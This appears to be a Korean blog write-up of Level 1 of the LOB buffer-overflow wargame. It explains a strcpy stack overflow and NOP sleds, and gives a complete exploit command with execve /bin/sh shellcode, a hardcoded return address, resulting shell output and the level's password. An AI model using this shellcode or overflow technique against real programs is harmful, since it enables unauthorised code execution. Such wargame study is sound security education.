LOB Level 1.
int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2) { printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
buffer로 256을 입력 받고, argc가 2개 미만이면, 오류를 출력하고 프로그램을 종료한다.
argc가 2개 이상이면, buffer에 argv[1] 인자를 복사 시킨다. 일단 ftz에서 배웠듯이 strcpy가 나왔으니 BOF인 거 같다. if 문이 있듯이 크기의 값에 따라 정해진다. 또한 256byte 이상의 값을 넣으면, buffer의 크기를 넘어 SFP와 RET 값을 덮어 씌워 BOF를 일으킨다.
일단 코드를 보면, stack pointer를 0x100(256)만큼 할당하는 것을 보아, 더미 값 없이 스택을 할당한다. main+62보면 strcpy함수 이전인데 lea %eax, [%ebp-256] 이 있는데 더미 없이 ebp-256에 strcpy를 실행한다는 것을 알 수 있다.
일단 그러면, strcpy 시작 되고 난 후 main+59에 breakpoint를 건다.
그러고 r’python –c ‘print “\x90”*260’‘을 해줘서 버퍼와 SFP를 \x90(NOP)로 만든다.
NOP SLED 기법 이용.
NOP SLED 기법 ==============================
NOP SLED은 프로그램이 sled에서 어느 위치의 메모리 주소로든 분기할 때마다 CPU 명령어 실행 흐름을 마지막으로 요구되는 목적지까지 밀어넣는 방법이다.
이 취약점을 이용해 Return address를 원하는 주소로 덮어 씌워서 ip를 제어할 수 있게 된다. 주소는 ret 위치에 0xbffff940을 입력해주면 된다. 리틀 엔디안이니 \x40\xf9\xff\xbf 입력.
중요한 것은 Redhat은 쉘 상에서 \xff를 입력했을 때 \x00으로 처리하기 때문에 예상하지 못한 결과를 낼 수도 있다. 시작하기 전에 bash2를 입력해주면 된다. 그리고 쉘 코드 앞,뒤로 \x90을 최소 16개를 넣어줘야 쉘 코드가 실행된다.
./gremlin`python-c
'print"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*35+"\xd8\xf9\xff\xbf"'`
bash$ id uid =500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ my-pass euid = 501 hello bof world bash$
'# Related site issues > LOB' 카테고리의 다른 글
LOB Level 6. (0) | 2018.03.28 |
---|---|
LOB Level 5. (0) | 2018.03.28 |
LOB Level 4. (0) | 2018.03.27 |
LOB Level 3. (0) | 2018.03.27 |
LOB Level 2. (0) | 2018.03.27 |